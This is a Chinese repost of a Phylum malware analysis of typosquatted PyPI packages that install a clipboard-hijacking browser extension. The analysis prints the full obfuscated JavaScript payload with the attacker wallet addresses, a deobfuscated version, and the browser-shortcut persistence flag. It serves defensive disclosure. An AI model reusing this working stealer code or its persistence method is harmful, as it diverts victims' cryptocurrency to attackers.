网易首页 > 网易号 > 正文 申请入驻

恶意Python软件包替换开发者剪贴板中的加密货币地址

0
分享至

我们Phylum发现了数十个针对开发者的域名误植软件包后不到一周,我们的自动化风险平台发现了另一起针对开发者及其加密货币的新兴活动所涉及的另外几个软件包。这起攻击活动针对的软件包每天下载量超过2900万人次,这个潜在的覆盖范围对攻击者来说很庞大,为利用开发者的拼写错误提供了大好机会!

这起进行中的攻击活动涉及的当前软件包如下所示:

baeutifulsoup4

beautifulsup4

cloorama

cryptograpyh

crpytography

djangoo

hello-world-exampl

hello-world-example

ipyhton

mail-validator

mariabd

mysql-connector-pyhton

notebok

pillwo

pyautogiu

pygaem

pytorhc

python-dateuti

python-flask

python3-flask

pyyalm

rqeuests

slenium

sqlachemy

sqlalcemy

tkniter

urlllib

安装完成后,一个恶意的Javascript文件会被投放到系统中,并在任何互联网浏览会话的后台执行。当开发者复制加密货币地址时,剪贴板中的地址被替换成了攻击者的地址。

在撰写本文时(第一个恶意软件包发布大约一小时后),这些软件包已下载了100多次。虽然我们报告了这每一个软件包(以后会继续报告),但我们预计在接下来的几小时内,下载数量和软件包总数量都将会攀升。

来自这每一个软件包的恶意载荷都存在于setup.py中。恶意软件的编写者从获得一份“值得关注”的路径列表开始入手:

最后,攻击者将经过混淆处理的Javascript写入到$APPDATA\\Extension文件夹:

with open(appDataPath + '\\Extension\\background.js', 'w+') as extensionFile:

extensionFile.write('''var _0x327ff6=_0x11d4;(function(_0x314c14,_0x4da2d4){var _0x4d9550=_0x11d4,_0x41c8ae=_0x314c14();while(!![]){try{var _0x291238=parseInt(_0x4d9550(0x83))/0x1+parseInt(_0x4d9550(0x87))/0x2*(-parseInt(_0x4d9550(0x7c))/0x3)+-parseInt(_0x4d9550(0x81))/0x4*(-parseInt(_0x4d9550(0x8b))/0x5)+parseInt(_0x4d9550(0x7e))/0x6*(parseInt(_0x4d9550(0x75))/0x7)+-parseInt(_0x4d9550(0x89))/0x8+-parseInt(_0x4d9550(0x85))/0x9+parseInt(_0x4d9550(0x82))/0xa;if(_0x291238===_0x4da2d4)break;else _0x41c8ae['push'](_0x41c8ae['shift']());}catch(_0x435e56){_0x41c8ae['push'](_0x41c8ae['shift']());}}}(_0x7dfe,0x8e72d));let page=chrome[_0x327ff6(0x77)][_0x327ff6(0x76)]();function _0x11d4(_0x5d4133,_0x41221d){var _0x7dfebe=_0x7dfe();return _0x11d4=function(_0x11d4f7,_0x3282ea){_0x11d4f7=_0x11d4f7-0x75;var _0x34f11d=_0x7dfebe[_0x11d4f7];return _0x34f11d;},_0x11d4(_0x5d4133,_0x41221d);}var inputElement=document[_0x327ff6(0x88)](_0x327ff6(0x8a));document['body'][_0x327ff6(0x86)](inputElement),inputElement['focus']();function check(){var _0xe8a3e=_0x327ff6;document[_0xe8a3e(0x79)](_0xe8a3e(0x7f));var _0x5eb90d=inputElement[_0xe8a3e(0x7a)];_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^(0x)[a-fA-F0-9]{40}$/,'0x18c36eBd7A5d9C3b88995D6872BCe11a080Bc4d9'),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^T[A-Za-z1-9]{33}$/,'TWStXoQpXzVL8mx1ejiVmkgeUVGjZz8LRx'),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^(bnb1)[0-9a-z]{38}$/,_0xe8a3e(0x80)),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/,'bc1qqwkpp77ya9qavyh8sm8e4usad45fwlusg7vs5v'),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/,_0xe8a3e(0x84)),inputElement['value']=_0x5eb90d,inputElement[_0xe8a3e(0x7d)](),document['execCommand'](_0xe8a3e(0x7b)),inputElement[_0xe8a3e(0x7a)]='';}function _0x7dfe(){var _0x1c8730=['8bkbJpt','14903530AaRyNg','646317UWotJX','LPDEYUCna9e5dYaDPYorJBXXgc43tvV9Rq','9448686izWZHq','appendChild','2hKfLTM','createElement','3544256zMWJYQ','textarea','10470IXKEdo','42UUKWJT','getBackgroundPage','extension','replace','execCommand','value','copy','1539693aOTNUd','select','448728VNjtMg','paste','bnb1cm0pllx3c7e902mta8drjfyn0ypl7ar4ty29uv'];_0x7dfe=function(){return _0x1c8730;};return _0x7dfe();}setInterval(check,0x3e8);''')

为了企图隐藏恶意载荷执行的操作,攻击者使用常见的混淆器对Javascript进行混淆处理。

图1

虽然我们可以根据manifest.json中请求的权限推断出这个恶意软件包执行的操作,还是不妨对它进行反混淆处理,确保有把握。注释已添加。

* Returns the Window of the background page if the background script is running.

* If the script is not running, null is returned.

let page = chrome['extension']['getBackgroundPage']();

// Create a new text area on the page

var textareaElement = document.createElement('textarea');

document['body']['appendChild'](textareaElement);

// Then focus on it

textareaElement['focus']();

function lookforCryptoAddresses() {

// The input element is on our newly defined element and we paste whatever is in the

// clipboard to it.

document['execCommand']('paste');

// We then get the value of what we just pasted in the text area.

var inputValue = textareaElement['value'];

/** Look at the value, if it matches one of the regexes replace the crypto address **/

// ETH addresses

inputValue = inputValue.replace(/^(0x)[a-fA-F0-9]{40}$/, '0x18c36eBd7A5d9C3b88995D6872BCe11a080Bc4d9'),

// TRX (TRON) address

inputValue = inputValue.replace(/^T[A-Za-z1-9]{33}$/, 'TWStXoQpXzVL8mx1ejiVmkgeUVGjZz8LRx'),

// BNB Address

inputValue = inputValue.replace(/^(bnb1)[0-9a-z]{38}$/, 'bnb1cm0pllx3c7e902mta8drjfyn0ypl7ar4ty29uv'),

// BTC Address

inputValue = inputValue.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/, 'bc1qqwkpp77ya9qavyh8sm8e4usad45fwlusg7vs5v'),

// LTC Address

inputValue = inputValue.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/, 'LPDEYUCna9e5dYaDPYorJBXXgc43tvV9Rq'),

// Update the text area to the value we replaced above.

textareaElement['value'] = inputValue,

// Select whatever is in the text area.

textareaElement['select'](),

// Copy that to the clipboard, thereby overwriting the address the user copied.

document['execCommand']('copy'),

// Clear the text area.

textareaElement['value'] = '';

// Monitor the clipboard every second.

setInterval(lookforCryptoAddresses, 1000);

大致而言,攻击者:

在页面上创建textarea(文本区域)。

将任何剪贴板内容粘贴到文本区域。

使用一系列正则表达式来搜索常见的加密货币地址格式。

用先前创建的textarea中攻击者控制的地址替换任何已识别的地址。

将textarea复制到剪贴板。

如果受攻击的开发者在任何时间复制钱包地址,恶意软件包将用攻击者控制的地址替换该地址。这种秘密的查找/替换会导致最终用户无意中将其资金发送给攻击者。

攻击者控制的当前地址列表为:

在撰写本文时,还没有资金被转移到攻击者。

图2

持久化机制很简单,却很有效:

攻击者先遍历他们在上面创建的path列表中的所有路径。如果发现任何LNK文件,并且目标中的可执行文件是chrome.exe、msedge.exe、launcher.exe或brave.exe之一,他们会添加以下内容:

--load-extension={appDataPath}\\Extension

这确保在其中一个浏览器打开后,恶意载荷被执行。

不幸的是,开发者现在是这些供应链攻击的直接目标。未能保护开发者是整个技术组织的失败。正因为如此,我们在积极开发一种免费的开源解决方案,将安装的软件包放入沙箱。该解决方案目前并入到了我们的CLI中,但底层的沙盒功能(名为Birdcage)也可以用来整合到其他开源项目中。

我们在这里安装了一个恶意的NPM软件包,它可以向外泄露SSH密钥:

图3

再次使用Birdcage,SSH密钥永远不会从开发者的系统发送出去:

图4

我们仍在不遗余力地改进沙盒,不过欢迎来自社区的贡献和想法!

参考及来源:https://blog.phylum.io/pypi-malware-replaces-crypto-addresses-in-developers-clipboard

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
53岁李英爱穿透视韩服,大批韩国女星擦边出圈,网友感慨韩娱完了

53岁李英爱穿透视韩服,大批韩国女星擦边出圈,网友感慨韩娱完了

萌神木木
2024-06-20 21:15:49
西方对俄孤立被打破,越南接待普京,美国不满又无奈!

西方对俄孤立被打破,越南接待普京,美国不满又无奈!

环球网资讯
2024-06-21 07:04:09
噩梦一夜!30岁老将被突成筛子,全场4次被过,2次被穿裆羞辱!

噩梦一夜!30岁老将被突成筛子,全场4次被过,2次被穿裆羞辱!

英超这些事儿
2024-06-21 05:43:38
中联部部长在海参崴出席“抵制新殖民主义”论坛,让人如鲠在喉

中联部部长在海参崴出席“抵制新殖民主义”论坛,让人如鲠在喉

顾礼先生
2024-06-20 14:53:15
梅西2次超级单刀1个不进!36岁太累,4-0变2-0,他遗憾的趴在地上

梅西2次超级单刀1个不进!36岁太累,4-0变2-0,他遗憾的趴在地上

嘴炮体坛
2024-06-21 10:07:46
杭州卖海鲜的50岁大叔出圈了!从没去过健身房,他是怎么练出的8块腹肌?

杭州卖海鲜的50岁大叔出圈了!从没去过健身房,他是怎么练出的8块腹肌?

都市快报橙柿互动
2024-06-20 21:52:14
特斯拉落户广州人沸腾,台积电南京扩产却成毒刺:赏打工人碗饭吧

特斯拉落户广州人沸腾,台积电南京扩产却成毒刺:赏打工人碗饭吧

大风文字
2024-06-20 19:06:38
这是选美还是选丑?香港小姐2024佳丽引群嘲,网友:真不如以前的

这是选美还是选丑?香港小姐2024佳丽引群嘲,网友:真不如以前的

番茄说史聊
2024-06-18 23:57:10
发改委:电动自行车充电费用实行价费分离 严格明码标价

发改委:电动自行车充电费用实行价费分离 严格明码标价

财联社
2024-06-20 17:04:07
现任政法委书记、原公安局长被查

现任政法委书记、原公安局长被查

警界君
2024-06-20 18:13:22
美媒爆料:只剩50人还活着

美媒爆料:只剩50人还活着

环球时报国际
2024-06-20 22:03:16
陈晓惹争议!离家出走拒绝面对婚变,陈妍希直言玩冷暴力最可怕

陈晓惹争议!离家出走拒绝面对婚变,陈妍希直言玩冷暴力最可怕

萌神木木
2024-06-20 21:34:05
澳洲网红为了博流量跟狗跨物种交配,在西方引起效仿?

澳洲网红为了博流量跟狗跨物种交配,在西方引起效仿?

我有一盐
2024-06-20 20:44:11
高考不能改变命运,但是WTO可以

高考不能改变命运,但是WTO可以

不死好鸟
2024-06-20 14:06:20
成绩不理想,又想去中国?一留学海报打出惊人宣传语,还送免费住宿+每月津贴

成绩不理想,又想去中国?一留学海报打出惊人宣传语,还送免费住宿+每月津贴

小萝卜丝
2024-06-21 08:31:46
管姚:普京访越南,老美到底在骂什么?

管姚:普京访越南,老美到底在骂什么?

直新闻
2024-06-20 23:27:08
朝鲜国宴惊艳世界!普京宴会服务员美得比献花美女还要漂亮!

朝鲜国宴惊艳世界!普京宴会服务员美得比献花美女还要漂亮!

小毅讲历史
2024-06-20 18:42:54
俄罗斯5地举行线上“脱俄公投”,结果是......

俄罗斯5地举行线上“脱俄公投”,结果是......

小刀99
2024-06-20 20:04:29
医生被电信诈骗49680元,去警局报案后被扣发绩效,取消评优,暂缓晋升

医生被电信诈骗49680元,去警局报案后被扣发绩效,取消评优,暂缓晋升

火锅局
2024-06-21 08:44:40
服了!一家7口全跑光,套现20亿,把公司卖给了散户!

服了!一家7口全跑光,套现20亿,把公司卖给了散户!

胡华成
2024-06-20 17:18:12
2024-06-21 10:54:44
嘶吼RoarTalk
嘶吼RoarTalk
不一样的互联网安全新视界
7439文章数 10509关注度
往期回顾 全部

科技要闻

美媒:苹果正与百度阿里百川等谈AI合作

头条要闻

环球:欧盟若对华抡起贸易大棒 中国不会被动挨打

头条要闻

环球:欧盟若对华抡起贸易大棒 中国不会被动挨打

体育要闻

1-0"吊打"意大利 西班牙这就叫冠军相?

娱乐要闻

陈晓惹争议!被曝婚变离家出走冷暴力

财经要闻

普华永道,引火烧身

汽车要闻

售价11.79-14.39万元 新一代哈弗H6正式上市

态度原创

本地
时尚
手机
家居
公开课

本地新闻

2024·合肥印象|用崭新视角对话城市发展

黑色的透视单品,就选这6件!

手机要闻

一加夏季性能生态新品发布会定档 6 月 27 日,Ace 3 Pro 等将至

家居要闻

自然开放 实现灵动可变空间

公开课

近视只是视力差?小心并发症

无障碍浏览 进入关怀版